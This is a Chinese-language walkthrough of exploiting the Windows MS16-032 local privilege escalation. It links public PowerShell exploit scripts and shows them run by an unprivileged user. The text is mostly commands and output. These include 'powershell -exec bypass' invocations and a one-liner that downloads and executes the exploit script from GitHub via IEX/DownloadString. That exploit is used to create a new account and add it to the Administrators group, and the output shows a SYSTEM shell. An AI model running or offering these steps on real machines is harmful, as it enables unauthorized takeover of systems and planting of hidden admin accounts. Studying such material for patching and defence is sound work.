# (CVE-2016-0099)【MS16-32】 windows 本地提权漏洞
# 介绍
漏洞类型:特权提升
Microsoft 安全公告:https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2016/ms16-032
exploit-db的详情:https://www.exploit-db.com/exploits/39574/
利用时需要满足的要求
> ①系统需要拥有至少2个的CPU核心
>
> ②Power shell v2.0以及更高的版本
影响的Windwos版本
> Windows Vista、Windows 7、Windows 2008 Server、Windows 2012 Server、Windows 8.1、Windows 10
## 漏洞利用
> 脚本地址:[1_Invoke-MS16-032.ps1](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1)
测试一:普通用户登录下,获取管理员cmd创建文件的方法有多种,这里演示两种:
①创建文件`1_Invoke-MS16-032.ps1`并写入内容;
“`
E:\MS16-032>type nul > 1_Invoke-MS16-032.ps1
E:\MS16-032>notepad 1_Invoke-MS16-032.ps1 #写入内容
“`
文件下载好之后,先展示一下当前用户,以及属组
“`
E:\MS16-032>whoami
win…\test
E:\MS16-032>net user test
用户名 test
…
可允许的登录小时数 All
本地组成员 *Users
全局组成员 *None
命令成功完成。
“`
无权的一个用户,现在开始执行脚本
“`
E:\MS16-032>powershell -exec bypass
Windows PowerShell
版权所有 (C) 2009 Microsoft Corporation。保留所有权利。
PS E:\MS16-032> . .\1_Invoke-MS16-032.ps1
PS E:\MS16-032> Invoke-MS16-032
__ __ ___ ___ ___ ___ ___ ___
| V | _|_ | | _|___| |_ |_ |
| |_ |_| |_| . |___| | |_ | _|
|_|_|_|___|_____|___| |___|___|___|
[by b33f -> @FuzzySec]
[?] Operating system core count: 2
[>] Duplicating CreateProcessWithLogonW handle
…
[>] Starting process race
[!] Holy handle leak Batman, we have a SYSTEM shell!!
PS E:\MS16-032>
“`
![image-20201103195057316](/static/qingy/(CVE-2016-0099)【MS16-32】_windows_本地提权漏洞/img/image-20201103195057316.png)
前面的步骤时进入powershell在执行命令,但其实可以加一个`-c`参数,后面可以直接接命令,分号分隔开,然后就会自动执行,不用进入powershell。
“`
E:\MS16-032>powershell -exec bypass -c “. .\1_Invoke-MS16-032.ps1;Invoke-MS16-032”
__ __ ___ ___ ___ ___ ___ ___
| V | _|_ | | _|___| |_ |_ |
| |_ |_| |_| . |___| | |_ | _|
|_|_|_|___|_____|___| |___|___|___|
[by b33f -> @FuzzySec]
[?] Operating system core count: 2
[>] Duplicating CreateProcessWithLogonW handle
…
[>] Starting process race
[!] Holy handle leak Batman, we have a SYSTEM shell!!
E:\MS16-032>
“`
脚本地址:[2_Invoke-MS16-032.ps1](https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Invoke-MS16-032.ps1)
测试二:普通用户登录下,创建其他用户,并加入`administrators`组Ps:相对于测试一的脚本,该脚本进行了简单改变,可以执行任意程序,并可以添加参数执行(全程无弹框)。`-Application`参数可以执行任意程序
“`
E:\MS16-032>whoami
win…\test
E:\MS16-032>net user test_test /add
发生系统错误 5。
拒绝访问。
“`
“`
E:\MS16-032>powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Invoke-MS16-032.ps1’);Invoke-MS16-032 -Application cmd.exe -commandline ‘/c net user test_test test_test /add'”
__ __ ___ ___ ___ ___ ___ ___
| V | _|_ | | _|___| |_ |_ |
| |_ |_| |_| . |___| | |_ | _|
|_|_|_|___|_____|___| |___|___|___|
[by b33f -> @FuzzySec]
[?] Operating system core count: 2
[>] Duplicating CreateProcessWithLogonW handles..
…
[>] Starting process race
[!] Holy handle leak Batman, we have a SYSTEM shell!!
E:\MS16-032>net user
———————————————————————
Administrator Guest HSW
test test_test
命令成功完成。
E:\MS16-032>net user test_test
用户名 test_test
…
本地组成员 *Users
全局组成员 *None
命令成功完成。
“`
可以看到`test_test`用户添加完成,但是只属于`Users组`,现在将其加入`Administrators组`,先查看一下组和权限
“`
E:\MS16-032>powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Invoke-MS16-032.ps1’);Invoke-MS16-032 -Application cmd.exe -commandline ‘/c net localgroup Administrators test_test /add'”
__ __ ___ ___ ___ ___ ___ ___
| V | _|_ | | _|___| |_ |_ |
| |_ |_| |_| . |___| | |_ | _|
|_|_|_|___|_____|___| |___|___|___|
[by b33f -> @FuzzySec]
[?] Operating system core count: 2
[>] Duplicating CreateProcessWithLogonW handles..
…
[>] Starting process race
[!] Holy handle leak Batman, we have a SYSTEM shell!!
E:\MS16-032>net localgroup Administrators
别名 Administrators
注释 管理员对计算机/域有不受限制的完全访问权
成员
———————————————
Administrator
test_test
命令成功完成。
E:\MS16-032>net user test_test
用户名 test_test
…
本地组成员 *Administrators *Users
全局组成员 *None
命令成功完成。
“`
请登录后查看评论内容